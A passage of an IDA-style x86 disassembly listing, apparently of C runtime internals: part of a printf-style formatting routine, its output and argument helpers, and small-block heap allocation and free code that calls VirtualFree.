loc_4197C9: ; CODE XREF: sub_419343+448j
test byte ptr [ebp+var_4], 80h
mov [ebp+var_C], 10h
jz short loc_419833
mov al, byte ptr [ebp+var_2C]
mov [ebp+var_16], 30h
add al, 51h
mov [ebp+var_1C], 2
mov [ebp+var_15], al
jmp short loc_419833
; ---------------------------------------------------------------------------
loc_4197EB: ; CODE XREF: sub_419343+41Ej
test byte ptr [ebp+var_4], 80h
mov [ebp+var_C], 8
jz short loc_419833
or byte ptr [ebp+var_4+1], 2
jmp short loc_419833
; ---------------------------------------------------------------------------
loc_4197FE: ; CODE XREF: sub_419343+417j
lea eax, [ebp+arg_8]
push eax
call sub_419B22
test byte ptr [ebp+var_4], 20h
pop ecx
jz short loc_419817
mov cx, word ptr [ebp+var_14]
mov [eax], cx
jmp short loc_41981C
; ---------------------------------------------------------------------------
loc_419817: ; CODE XREF: sub_419343+4C9j
mov ecx, [ebp+var_14]
mov [eax], ecx
loc_41981C: ; CODE XREF: sub_419343+4D2j
mov [ebp+var_28], 1
jmp loc_419A4B ; default
; ---------------------------------------------------------------------------
loc_419828: ; CODE XREF: sub_419343+2F7j
; sub_419343+40Ej
or [ebp+var_4], 40h
loc_41982C: ; CODE XREF: sub_419343+432j
mov [ebp+var_C], 0Ah
loc_419833: ; CODE XREF: sub_419343+491j
; sub_419343+4A6j ...
test byte ptr [ebp+var_4+1], 80h
jz short loc_419845
lea eax, [ebp+arg_8]
push eax
call sub_419B2F
pop ecx
jmp short loc_419886
; ---------------------------------------------------------------------------
loc_419845: ; CODE XREF: sub_419343+4F4j
test byte ptr [ebp+var_4], 20h
jz short loc_41986C
test byte ptr [ebp+var_4], 40h
lea eax, [ebp+arg_8]
push eax
jz short loc_419861
call sub_419B22
pop ecx
movsx eax, ax
loc_41985E: ; CODE XREF: sub_419343+527j
; sub_419343+539j
cdq
jmp short loc_419886
; ---------------------------------------------------------------------------
loc_419861: ; CODE XREF: sub_419343+510j
call sub_419B22
pop ecx
movzx eax, ax
jmp short loc_41985E
; ---------------------------------------------------------------------------
loc_41986C: ; CODE XREF: sub_419343+506j
test byte ptr [ebp+var_4], 40h
lea eax, [ebp+arg_8]
push eax
jz short loc_41987E
call sub_419B22
pop ecx
jmp short loc_41985E
; ---------------------------------------------------------------------------
loc_41987E: ; CODE XREF: sub_419343+531j
call sub_419B22
pop ecx
xor edx, edx
loc_419886: ; CODE XREF: sub_419343+500j
; sub_419343+51Cj
test byte ptr [ebp+var_4], 40h
jz short loc_4198A7
test edx, edx
jg short loc_4198A7
jl short loc_419896
test eax, eax
jnb short loc_4198A7
loc_419896: ; CODE XREF: sub_419343+54Dj
neg eax
adc edx, 0
mov esi, eax
neg edx
or byte ptr [ebp+var_4+1], 1
mov edi, edx
jmp short loc_4198AB
; ---------------------------------------------------------------------------
loc_4198A7: ; CODE XREF: sub_419343+547j
; sub_419343+54Bj ...
mov esi, eax
mov edi, edx
loc_4198AB: ; CODE XREF: sub_419343+562j
test byte ptr [ebp+var_4+1], 80h
jnz short loc_4198B4
and edi, 0
loc_4198B4: ; CODE XREF: sub_419343+56Cj
cmp [ebp+var_10], 0
jge short loc_4198C3
mov [ebp+var_10], 1
jmp short loc_4198C7
; ---------------------------------------------------------------------------
loc_4198C3: ; CODE XREF: sub_419343+575j
and [ebp+var_4], 0FFFFFFF7h
loc_4198C7: ; CODE XREF: sub_419343+57Ej
mov eax, esi
or eax, edi
jnz short loc_4198D1
and [ebp+var_1C], 0
loc_4198D1: ; CODE XREF: sub_419343+588j
lea eax, [ebp+var_49]
mov [ebp+var_8], eax
loc_4198D7: ; CODE XREF: sub_419343+5DDj
mov eax, [ebp+var_10]
dec [ebp+var_10]
test eax, eax
jg short loc_4198E7
mov eax, esi
or eax, edi
jz short loc_419922
loc_4198E7: ; CODE XREF: sub_419343+59Cj
mov eax, [ebp+var_C]
cdq
push edx
push eax
push edi
push esi
mov [ebp+var_40], eax
mov [ebp+var_3C], edx
call sub_4189C0
push [ebp+var_3C]
mov ebx, eax
add ebx, 30h
push [ebp+var_40]
push edi
push esi
call sub_418A40
cmp ebx, 39h
mov esi, eax
mov edi, edx
jle short loc_419918
add ebx, [ebp+var_2C]
loc_419918: ; CODE XREF: sub_419343+5D0j
mov eax, [ebp+var_8]
dec [ebp+var_8]
mov [eax], bl
jmp short loc_4198D7
; ---------------------------------------------------------------------------
loc_419922: ; CODE XREF: sub_419343+5A2j
lea eax, [ebp+var_49]
sub eax, [ebp+var_8]
inc [ebp+var_8]
test byte ptr [ebp+var_4+1], 2
mov [ebp+var_C], eax
jz short loc_41994D
mov ecx, [ebp+var_8]
cmp byte ptr [ecx], 30h
jnz short loc_419940
test eax, eax
jnz short loc_41994D
loc_419940: ; CODE XREF: sub_419343+5F7j
dec [ebp+var_8]
inc eax
mov ecx, [ebp+var_8]
mov byte ptr [ecx], 30h
loc_41994A: ; CODE XREF: sub_419343+35Fj
; sub_419343+406j ...
mov [ebp+var_C], eax
loc_41994D: ; CODE XREF: sub_419343+21Bj
; sub_419343+2FDj ...
cmp [ebp+var_28], 0
jnz loc_419A4B ; default
mov ebx, [ebp+var_4]
test bl, 40h
jz short loc_419985
test bh, 1
jz short loc_41996A
mov [ebp+var_16], 2Dh
jmp short loc_41997E
; ---------------------------------------------------------------------------
loc_41996A: ; CODE XREF: sub_419343+61Fj
test bl, 1
jz short loc_419975
mov [ebp+var_16], 2Bh
jmp short loc_41997E
; ---------------------------------------------------------------------------
loc_419975: ; CODE XREF: sub_419343+62Aj
test bl, 2
jz short loc_419985
mov [ebp+var_16], 20h
loc_41997E: ; CODE XREF: sub_419343+625j
; sub_419343+630j
mov [ebp+var_1C], 1
loc_419985: ; CODE XREF: sub_419343+61Aj
; sub_419343+635j
mov esi, [ebp+var_20]
sub esi, [ebp+var_1C]
sub esi, [ebp+var_C]
test bl, 0Ch
jnz short loc_4199A5
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
push esi
push 20h
call sub_419AB9
add esp, 10h
loc_4199A5: ; CODE XREF: sub_419343+64Ej
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_16]
push [ebp+arg_0]
push [ebp+var_1C]
push eax
call sub_419AEA
add esp, 10h
test bl, 8
jz short loc_4199D7
test bl, 4
jnz short loc_4199D7
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
push esi
push 30h
call sub_419AB9
add esp, 10h
loc_4199D7: ; CODE XREF: sub_419343+67Bj
; sub_419343+680j
cmp [ebp+var_24], 0
jz short loc_419A1E
cmp [ebp+var_C], 0
jle short loc_419A1E
mov eax, [ebp+var_C]
mov ebx, [ebp+var_8]
lea edi, [eax-1]
loc_4199EC: ; CODE XREF: sub_419343+6D7j
mov ax, [ebx]
inc ebx
push eax
lea eax, [ebp+var_38]
push eax
inc ebx
call sub_41D68B
pop ecx
test eax, eax
pop ecx
jle short loc_419A33
lea ecx, [ebp+var_14]
push ecx
push [ebp+arg_0]
push eax
lea eax, [ebp+var_38]
push eax
call sub_419AEA
add esp, 10h
mov eax, edi
dec edi
test eax, eax
jnz short loc_4199EC
jmp short loc_419A33
; ---------------------------------------------------------------------------
loc_419A1E: ; CODE XREF: sub_419343+698j
; sub_419343+69Ej
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
push [ebp+var_C]
push [ebp+var_8]
call sub_419AEA
add esp, 10h
loc_419A33: ; CODE XREF: sub_419343+6BCj
; sub_419343+6D9j
test byte ptr [ebp+var_4], 4
jz short loc_419A4B ; default
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
push esi
push 20h
call sub_419AB9
add esp, 10h
loc_419A4B: ; CODE XREF: sub_419343+68j
; sub_419343+8Bj ...
mov edi, [ebp+arg_4] ; default
mov bl, [edi]
inc edi
test bl, bl
mov [ebp+arg_4], edi
jnz loc_41936F
loc_419A5C: ; CODE XREF: sub_419343+1Fj
; sub_419343+37j
mov eax, [ebp+var_14]
pop edi
pop esi
pop ebx
leave
retn
sub_419343 endp
; ---------------------------------------------------------------------------
off_419A64 dd offset loc_4194E2 ; DATA XREF: sub_419343+6Er
dd offset loc_4193B8 ; jump table for switch statement
dd offset loc_4193D3
dd offset loc_41941F
dd offset loc_419456
dd offset loc_41945E
dd offset loc_419493
dd offset loc_419526
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419A84 proc near ; CODE XREF: sub_419343+1BDp
; sub_419343+1D6p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov ecx, [ebp+arg_4]
dec dword ptr [ecx+4]
js short loc_419A9D
mov edx, [ecx]
mov al, byte ptr [ebp+arg_0]
mov [edx], al
inc dword ptr [ecx]
movzx eax, al
jmp short loc_419AA8
; ---------------------------------------------------------------------------
loc_419A9D: ; CODE XREF: sub_419A84+9j
push ecx
push [ebp+arg_0]
call sub_41922E
pop ecx
pop ecx
loc_419AA8: ; CODE XREF: sub_419A84+17j
cmp eax, 0FFFFFFFFh
mov eax, [ebp+arg_8]
jnz short loc_419AB5
or dword ptr [eax], 0FFFFFFFFh
pop ebp
retn
; ---------------------------------------------------------------------------
loc_419AB5: ; CODE XREF: sub_419A84+2Aj
inc dword ptr [eax]
pop ebp
retn
sub_419A84 endp
; =============== S U B R O U T I N E =======================================
sub_419AB9 proc near ; CODE XREF: sub_419343+65Ap
; sub_419343+68Cp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push esi
push edi
mov edi, [esp+8+arg_4]
mov eax, edi
dec edi
test eax, eax
jle short loc_419AE7
mov esi, [esp+8+arg_C]
loc_419ACA: ; CODE XREF: sub_419AB9+2Cj
push esi
push [esp+0Ch+arg_8]
push [esp+10h+arg_0]
call sub_419A84
add esp, 0Ch
cmp dword ptr [esi], 0FFFFFFFFh
jz short loc_419AE7
mov eax, edi
dec edi
test eax, eax
jg short loc_419ACA
loc_419AE7: ; CODE XREF: sub_419AB9+Bj
; sub_419AB9+25j
pop edi
pop esi
retn
sub_419AB9 endp
; =============== S U B R O U T I N E =======================================
sub_419AEA proc near ; CODE XREF: sub_419343+670p
; sub_419343+6CAp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
mov ebx, [esp+4+arg_4]
mov eax, ebx
dec ebx
push esi
push edi
test eax, eax
jle short loc_419B1E
mov edi, [esp+0Ch+arg_C]
mov esi, [esp+0Ch+arg_0]
loc_419B00: ; CODE XREF: sub_419AEA+32j
movsx eax, byte ptr [esi]
push edi
inc esi
push [esp+10h+arg_8]
push eax
call sub_419A84
add esp, 0Ch
cmp dword ptr [edi], 0FFFFFFFFh
jz short loc_419B1E
mov eax, ebx
dec ebx
test eax, eax
jg short loc_419B00
loc_419B1E: ; CODE XREF: sub_419AEA+Cj
; sub_419AEA+2Bj
pop edi
pop esi
pop ebx
retn
sub_419AEA endp
; =============== S U B R O U T I N E =======================================
sub_419B22 proc near ; CODE XREF: sub_419343+E5p
; sub_419343+124p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add dword ptr [eax], 4
mov eax, [eax]
mov eax, [eax-4]
retn
sub_419B22 endp
; =============== S U B R O U T I N E =======================================
sub_419B2F proc near ; CODE XREF: sub_419343+4FAp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add dword ptr [eax], 8
mov ecx, [eax]
mov eax, [ecx-8]
mov edx, [ecx-4]
retn
sub_419B2F endp
; =============== S U B R O U T I N E =======================================
sub_419B3F proc near ; CODE XREF: sub_419343+2C7p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add dword ptr [eax], 4
mov eax, [eax]
mov ax, [eax-4]
retn
sub_419B3F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419B4D proc near ; CODE XREF: sub_417894+17p
; sub_417894+58p ...
var_4 = byte ptr -4
var_3 = byte ptr -3
var_2 = byte ptr -2
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
lea ecx, [eax+1]
cmp ecx, 100h
ja short loc_419B6B
mov ecx, off_43B5A0
movzx eax, word ptr [ecx+eax*2]
jmp short loc_419BBD
; ---------------------------------------------------------------------------
loc_419B6B: ; CODE XREF: sub_419B4D+10j
mov ecx, eax
push esi
mov esi, off_43B5A0
sar ecx, 8
movzx edx, cl
test byte ptr [esi+edx*2+1], 80h
pop esi
jz short loc_419B90
and [ebp+var_2], 0
mov [ebp+var_4], cl
mov [ebp+var_3], al
push 2
jmp short loc_419B99
; ---------------------------------------------------------------------------
loc_419B90: ; CODE XREF: sub_419B4D+33j
and [ebp+var_3], 0
mov [ebp+var_4], al
push 1
loc_419B99: ; CODE XREF: sub_419B4D+41j
pop eax
lea ecx, [ebp+arg_0+2]
push 1
push 0
push 0
push ecx
push eax
lea eax, [ebp+var_4]
push eax
push 1
call sub_41D6F3
add esp, 1Ch
test eax, eax
jnz short loc_419BB9
leave
retn
; ---------------------------------------------------------------------------
loc_419BB9: ; CODE XREF: sub_419B4D+68j
movzx eax, word ptr [ebp+arg_0+2]
loc_419BBD: ; CODE XREF: sub_419B4D+1Cj
and eax, [ebp+arg_4]
leave
retn
sub_419B4D endp
; =============== S U B R O U T I N E =======================================
sub_419BC2 proc near ; CODE XREF: sub_417C00+1Fp
; sub_418C3F+106p ...
arg_0 = dword ptr 4
mov eax, dword_5158E0
test eax, eax
jz short loc_419BDA
push [esp+arg_0]
call eax
test eax, eax
pop ecx
jz short loc_419BDA
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_419BDA: ; CODE XREF: sub_419BC2+7j
; sub_419BC2+12j
xor eax, eax
retn
sub_419BC2 endp
; ---------------------------------------------------------------------------
db 33h, 0C0h, 6Ah
dd 24443900h, 10006808h, 940F0000h, 0E89050C0h, 7C3F8FC2h
dd 0C0A3C085h, 7400516Eh, 17E815h, 0C0850000h, 35FF0F75h
dd 516EC0h, 72E6E890h, 0C0337C3Fh, 58016AC3h, 14068C3h
dd 6A0000h, 6EC035FFh, 0E8900051h, 7C4F69A8h, 0BCA3C085h
dd 7500516Eh, 2583C301h, 516EB4h, 0B8258300h, 516Eh, 0B0A3016Ah
dd 0C700516Eh, 516EA805h, 1000h
db 0, 58h, 0C3h
; =============== S U B R O U T I N E =======================================
sub_419C57 proc near ; CODE XREF: sub_417C62+Ap
; sub_418C3F+3Dp
arg_0 = dword ptr 4
mov eax, dword_516EB8
lea ecx, [eax+eax*4]
mov eax, dword_516EBC
lea ecx, [eax+ecx*4]
loc_419C67: ; CODE XREF: sub_419C57+26j
cmp eax, ecx
jnb short loc_419C7F
mov edx, [esp+arg_0]
sub edx, [eax+0Ch]
cmp edx, 100000h
jb short locret_419C81
add eax, 14h
jmp short loc_419C67
; ---------------------------------------------------------------------------
loc_419C7F: ; CODE XREF: sub_419C57+12j
xor eax, eax
locret_419C81: ; CODE XREF: sub_419C57+21j
retn
sub_419C57 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419C82 proc near ; CODE XREF: sub_417C62+16p
; sub_418C3F+89p ...
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 14h
mov edx, [ebp+arg_4]
mov ecx, [ebp+arg_0]
push ebx
push esi
mov eax, [ecx+10h]
mov esi, edx
sub esi, [ecx+0Ch]
mov ebx, [edx-4]
add edx, 0FFFFFFFCh
push edi
shr esi, 0Fh
mov ecx, esi
mov edi, [edx-4]
imul ecx, 204h
dec ebx
mov [ebp+var_4], edi
lea ecx, [ecx+eax+144h]
mov [ebp+var_C], ebx
mov [ebp+var_10], ecx
mov ecx, [ebx+edx]
test cl, 1
mov [ebp+var_8], ecx
jnz short loc_419D48
sar ecx, 4
push 3Fh
dec ecx
pop edi
mov [ebp+arg_4], ecx
cmp ecx, edi
jbe short loc_419CDA
mov [ebp+arg_4], edi
loc_419CDA: ; CODE XREF: sub_419C82+53j
mov ecx, [ebx+edx+4]
cmp ecx, [ebx+edx+8]
jnz short loc_419D2C
mov ecx, [ebp+arg_4]
cmp ecx, 20h
jnb short loc_419D08
mov edi, 80000000h
shr edi, cl
lea ecx, [ecx+eax+4]
not edi
and [eax+esi*4+44h], edi
dec byte ptr [ecx]
jnz short loc_419D2C
mov ecx, [ebp+arg_0]
and [ecx], edi
jmp short loc_419D2C
; ---------------------------------------------------------------------------
loc_419D08: ; CODE XREF: sub_419C82+68j
add ecx, 0FFFFFFE0h
mov edi, 80000000h
shr edi, cl
mov ecx, [ebp+arg_4]
lea ecx, [ecx+eax+4]
not edi
and [eax+esi*4+0C4h], edi
dec byte ptr [ecx]
jnz short loc_419D2C
mov ecx, [ebp+arg_0]
and [ecx+4], edi
loc_419D2C: ; CODE XREF: sub_419C82+60j
; sub_419C82+7Dj ...
mov ecx, [ebx+edx+8]
mov edi, [ebx+edx+4]
mov [ecx+4], edi
mov ecx, [ebx+edx+4]
mov edi, [ebx+edx+8]
add ebx, [ebp+var_8]
mov [ecx+8], edi
mov [ebp+var_C], ebx
loc_419D48: ; CODE XREF: sub_419C82+45j
mov edi, ebx
sar edi, 4
dec edi
cmp edi, 3Fh
jbe short loc_419D56
push 3Fh
pop edi
loc_419D56: ; CODE XREF: sub_419C82+CFj
mov ecx, [ebp+var_4]
and ecx, 1
mov [ebp+var_14], ecx
jnz loc_419E05
sub edx, [ebp+var_4]
mov ecx, [ebp+var_4]
sar ecx, 4
push 3Fh
mov [ebp+var_8], edx
dec ecx
pop edx
cmp ecx, edx
mov [ebp+arg_4], ecx
jbe short loc_419D81
mov [ebp+arg_4], edx
mov ecx, edx
loc_419D81: ; CODE XREF: sub_419C82+F8j
add ebx, [ebp+var_4]
mov edi, ebx
mov [ebp+var_C], ebx
sar edi, 4
dec edi
cmp edi, edx
jbe short loc_419D93
mov edi, edx
loc_419D93: ; CODE XREF: sub_419C82+10Dj
cmp ecx, edi
jz short loc_419E02
mov ecx, [ebp+var_8]
mov edx, [ecx+4]
cmp edx, [ecx+8]
jnz short loc_419DEA
mov ecx, [ebp+arg_4]
cmp ecx, 20h
jnb short loc_419DC6
mov edx, 80000000h
shr edx, cl
lea ecx, [ecx+eax+4]
not edx
and [eax+esi*4+44h], edx
dec byte ptr [ecx]
jnz short loc_419DEA
mov ecx, [ebp+arg_0]
and [ecx], edx
jmp short loc_419DEA
; ---------------------------------------------------------------------------
loc_419DC6: ; CODE XREF: sub_419C82+126j
add ecx, 0FFFFFFE0h
mov edx, 80000000h
shr edx, cl
mov ecx, [ebp+arg_4]
lea ecx, [ecx+eax+4]
not edx
and [eax+esi*4+0C4h], edx
dec byte ptr [ecx]
jnz short loc_419DEA
mov ecx, [ebp+arg_0]
and [ecx+4], edx
loc_419DEA: ; CODE XREF: sub_419C82+11Ej
; sub_419C82+13Bj ...
mov ecx, [ebp+var_8]
mov edx, [ecx+8]
mov ecx, [ecx+4]
mov [edx+4], ecx
mov ecx, [ebp+var_8]
mov edx, [ecx+4]
mov ecx, [ecx+8]
mov [edx+8], ecx
loc_419E02: ; CODE XREF: sub_419C82+113j
mov edx, [ebp+var_8]
loc_419E05: ; CODE XREF: sub_419C82+DDj
cmp [ebp+var_14], 0
jnz short loc_419E14
cmp [ebp+arg_4], edi
jz loc_419E9D
loc_419E14: ; CODE XREF: sub_419C82+187j
mov ecx, [ebp+var_10]
lea ecx, [ecx+edi*8]
mov ecx, [ecx+4]
mov [edx+4], ecx
mov ecx, [ebp+var_10]
lea ecx, [ecx+edi*8]
mov [edx+8], ecx
mov [ecx+4], edx
mov ecx, [edx+4]
mov [ecx+8], edx
mov ecx, [edx+4]
cmp ecx, [edx+8]
jnz short loc_419E9D
mov cl, [edi+eax+4]
cmp edi, 20h
mov byte ptr [ebp+arg_4+3], cl
inc cl
mov [edi+eax+4], cl
jnb short loc_419E71
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_419E60
mov ebx, 80000000h
mov ecx, edi
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx], ebx
loc_419E60: ; CODE XREF: sub_419C82+1CEj
mov ebx, 80000000h
mov ecx, edi
shr ebx, cl
lea eax, [eax+esi*4+44h]
or [eax], ebx
jmp short loc_419E9A
; ---------------------------------------------------------------------------
loc_419E71: ; CODE XREF: sub_419C82+1C8j
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_419E87
lea ecx, [edi-20h]
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx+4], ebx
loc_419E87: ; CODE XREF: sub_419C82+1F3j
lea ecx, [edi-20h]
mov edi, 80000000h
shr edi, cl
lea eax, [eax+esi*4+0C4h]
or [eax], edi
loc_419E9A: ; CODE XREF: sub_419C82+1EDj
mov ebx, [ebp+var_C]
loc_419E9D: ; CODE XREF: sub_419C82+18Cj
; sub_419C82+1B6j
mov eax, [ebp+var_10]
mov [edx], ebx
mov [ebx+edx-4], ebx
dec dword ptr [eax]
jnz loc_419FA8
mov eax, dword_516EB4
test eax, eax
jz loc_419F9A
mov ecx, dword_516EAC
mov edi, dword_4211A8
shl ecx, 0Fh
add ecx, [eax+0Ch]
mov ebx, 8000h
push 4000h
push ebx
push ecx
call edi ; VirtualFree
mov ecx, dword_516EAC
mov eax, dword_516EB4
mov edx, 80000000h
shr edx, cl
or [eax+8], edx
mov eax, dword_516EB4
mov ecx, dword_516EAC
mov eax, [eax+10h]
and dword ptr [eax+ecx*4+0C4h], 0
mov eax, dword_516EB4
mov eax, [eax+10h]
dec byte ptr [eax+43h]
mov eax, dword_516EB4
mov ecx, [eax+10h]
cmp byte ptr [ecx+43h], 0
jnz short loc_419F28
and dword ptr [eax+4], 0FFFFFFFEh
mov eax, dword_516EB4
loc_419F28: ; CODE XREF: sub_419C82+29Bj
cmp dword ptr [eax+8], 0FFFFFFFFh
jnz short loc_419F9A
push ebx
push 0
push dword ptr [eax+0Ch]
call edi ; VirtualFree
mov eax, dword_516EB4
push dword ptr [eax+10h]
push 0
push dword_516EC0
nop
call near ptr 7C91043Dh
mov eax, dword_516EB8
mov edx, dword_516EBC
lea eax, [eax+eax*4]
shl eax, 2
mov ecx, eax
mov eax, dword_516EB4
sub ecx, eax
lea ecx, [ecx+edx-14h]
push ecx
lea ecx, [eax+14h]
push ecx
push eax
call sub_41D840
mov eax, [ebp+arg_0]
add esp, 0Ch
dec dword_516EB8
cmp eax, dword_516EB4
jbe short loc_419F8C
sub eax, 14h
loc_419F8C: ; CODE XREF: sub_419C82+305j
mov ecx, dword_516EBC
mov dword_516EB0, ecx
jmp short loc_419F9D
; ---------------------------------------------------------------------------
loc_419F9A: ; CODE XREF: sub_419C82+233j
; sub_419C82+2AAj
mov eax, [ebp+arg_0]
loc_419F9D: ; CODE XREF: sub_419C82+316j
mov dword_516EB4, eax
mov dword_516EAC, esi
loc_419FA8: ; CODE XREF: sub_419C82+226j
pop edi
pop esi
pop ebx
leave
retn
sub_419C82 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419FAD proc near ; CODE XREF: sub_417C2C+Ep
; sub_418C3F+69p ...
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
mov eax, dword_516EB8
mov edx, dword_516EBC
push ebx
push esi
lea eax, [eax+eax*4]
push edi
lea edi, [edx+eax*4]
mov eax, [ebp+arg_0]
mov [ebp+var_4], edi
lea ecx, [eax+17h]
and ecx, 0FFFFFFF0h
mov [ebp+var_10], ecx
sar ecx, 4
dec ecx
cmp ecx, 20h
jge short loc_419FED
or esi, 0FFFFFFFFh
shr esi, cl
or [ebp+var_8], 0FFFFFFFFh
mov [ebp+var_C], esi
jmp short loc_419FFD
; ---------------------------------------------------------------------------
loc_419FED: ; CODE XREF: sub_419FAD+30j
add ecx, 0FFFFFFE0h
or eax, 0FFFFFFFFh
xor esi, esi
shr eax, cl
mov [ebp+var_C], esi
mov [ebp+var_8], eax
loc_419FFD: ; CODE XREF: sub_419FAD+3Ej
mov eax, dword_516EB0
mov ebx, eax
cmp ebx, edi
mov [ebp+arg_0], ebx
jnb short loc_41A024
loc_41A00B: ; CODE XREF: sub_419FAD+75j
mov ecx, [ebx+4]
mov edi, [ebx]
and ecx, [ebp+var_8]
and edi, esi
or ecx, edi
jnz short loc_41A024
add ebx, 14h
cmp ebx, [ebp+var_4]
mov [ebp+arg_0], ebx
jb short loc_41A00B
loc_41A024: ; CODE XREF: sub_419FAD+5Cj
; sub_419FAD+6Aj
cmp ebx, [ebp+var_4]
jnz short loc_41A0A2
mov ebx, edx
loc_41A02B: ; CODE XREF: sub_419FAD+96j
cmp ebx, eax
mov [ebp+arg_0], ebx
jnb short loc_41A047
mov ecx, [ebx+4]
mov edi, [ebx]
and ecx, [ebp+var_8]
and edi, esi
or ecx, edi
jnz short loc_41A045
add ebx, 14h
jmp short loc_41A02B
; ---------------------------------------------------------------------------
loc_41A045: ; CODE XREF: sub_419FAD+91j
cmp ebx, eax
loc_41A047: ; CODE XREF: sub_419FAD+83j
jnz short loc_41A0A2
loc_41A049: ; CODE XREF: sub_419FAD+ADj
cmp ebx, [ebp+var_4]
jnb short loc_41A05F
cmp dword ptr [ebx+8], 0
jnz short loc_41A05C
add ebx, 14h
mov [ebp+arg_0], ebx
jmp short loc_41A049
; ---------------------------------------------------------------------------
loc_41A05C: ; CODE XREF: sub_419FAD+A5j
cmp ebx, [ebp+var_4]
loc_41A05F: ; CODE XREF: sub_419FAD+9Fj
jnz short loc_41A087
mov ebx, edx
loc_41A063: ; CODE XREF: sub_419FAD+C6j
cmp ebx, eax
mov [ebp+arg_0], ebx
jnb short loc_41A077
cmp dword ptr [ebx+8], 0
jnz short loc_41A075
add ebx, 14h
jmp short loc_41A063
; ---------------------------------------------------------------------------
loc_41A075: ; CODE XREF: sub_419FAD+C1j
cmp ebx, eax
loc_41A077: ; CODE XREF: sub_419FAD+BBj
jnz short loc_41A087
call sub_41A2B6
mov ebx, eax
test ebx, ebx
mov [ebp+arg_0], ebx
jz short loc_41A09B
loc_41A087: ; CODE XREF: sub_419FAD:loc_41A05Fj
; sub_419FAD:loc_41A077j
push ebx
call sub_41A367
pop ecx
mov ecx, [ebx+10h]
mov [ecx], eax
mov eax, [ebx+10h]
cmp dword ptr [eax], 0FFFFFFFFh
jnz short loc_41A0A2
loc_41A09B: ; CODE XREF: sub_419FAD+D8j
xor eax, eax
jmp loc_41A2B1
; ---------------------------------------------------------------------------
loc_41A0A2: ; CODE XREF: sub_419FAD+7Aj
; sub_419FAD:loc_41A047j ...
mov dword_516EB0, ebx
mov eax, [ebx+10h]
mov edx, [eax]
cmp edx, 0FFFFFFFFh
mov [ebp+var_4], edx
jz short loc_41A0C9
mov ecx, [eax+edx*4+0C4h]
mov edi, [eax+edx*4+44h]
and ecx, [ebp+var_8]
and edi, esi
or ecx, edi
jnz short loc_41A100
loc_41A0C9: ; CODE XREF: sub_419FAD+106j
mov edx, [eax+0C4h]
mov esi, [eax+44h]
and edx, [ebp+var_8]
and esi, [ebp+var_C]
and [ebp+var_4], 0
lea ecx, [eax+44h]
or edx, esi
mov esi, [ebp+var_C]
jnz short loc_41A0FD
loc_41A0E6: ; CODE XREF: sub_419FAD+14Ej
mov edx, [ecx+84h]
inc [ebp+var_4]
and edx, [ebp+var_8]
add ecx, 4
mov edi, esi
and edi, [ecx]
or edx, edi
jz short loc_41A0E6
loc_41A0FD: ; CODE XREF: sub_419FAD+137j
mov edx, [ebp+var_4]
loc_41A100: ; CODE XREF: sub_419FAD+11Aj
mov ecx, edx
xor edi, edi
imul ecx, 204h
lea ecx, [ecx+eax+144h]
mov [ebp+var_C], ecx
mov ecx, [eax+edx*4+44h]
and ecx, esi
jnz short loc_41A129
mov ecx, [eax+edx*4+0C4h]
push 20h
and ecx, [ebp+var_8]
pop edi
loc_41A129: ; CODE XREF: sub_419FAD+16Dj
; sub_419FAD+183j
test ecx, ecx
jl short loc_41A132
shl ecx, 1
inc edi
jmp short loc_41A129
; ---------------------------------------------------------------------------
loc_41A132: ; CODE XREF: sub_419FAD+17Ej
mov ecx, [ebp+var_C]
mov edx, [ecx+edi*8+4]
mov ecx, [edx]
sub ecx, [ebp+var_10]
mov esi, ecx
mov [ebp+var_8], ecx
sar esi, 4
dec esi
cmp esi, 3Fh
jle short loc_41A14F
push 3Fh
pop esi
loc_41A14F: ; CODE XREF: sub_419FAD+19Dj
cmp esi, edi
jz loc_41A264
mov ecx, [edx+4]
cmp ecx, [edx+8]
jnz short loc_41A1C0
cmp edi, 20h
jge short loc_41A18F
mov ebx, 80000000h
mov ecx, edi
shr ebx, cl
mov ecx, [ebp+var_4]
lea edi, [eax+edi+4]
not ebx
mov [ebp+var_14], ebx
and ebx, [eax+ecx*4+44h]
mov [eax+ecx*4+44h], ebx
dec byte ptr [edi]
jnz short loc_41A1BD
mov ebx, [ebp+arg_0]
mov ecx, [ebp+var_14]
and [ebx], ecx
jmp short loc_41A1C0
; ---------------------------------------------------------------------------
loc_41A18F: ; CODE XREF: sub_419FAD+1B5j
lea ecx, [edi-20h]
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+var_4]
lea edi, [eax+edi+4]
lea ecx, [eax+ecx*4+0C4h]
not ebx
and [ecx], ebx
dec byte ptr [edi]
mov [ebp+var_14], ebx
jnz short loc_41A1BD
mov ebx, [ebp+arg_0]
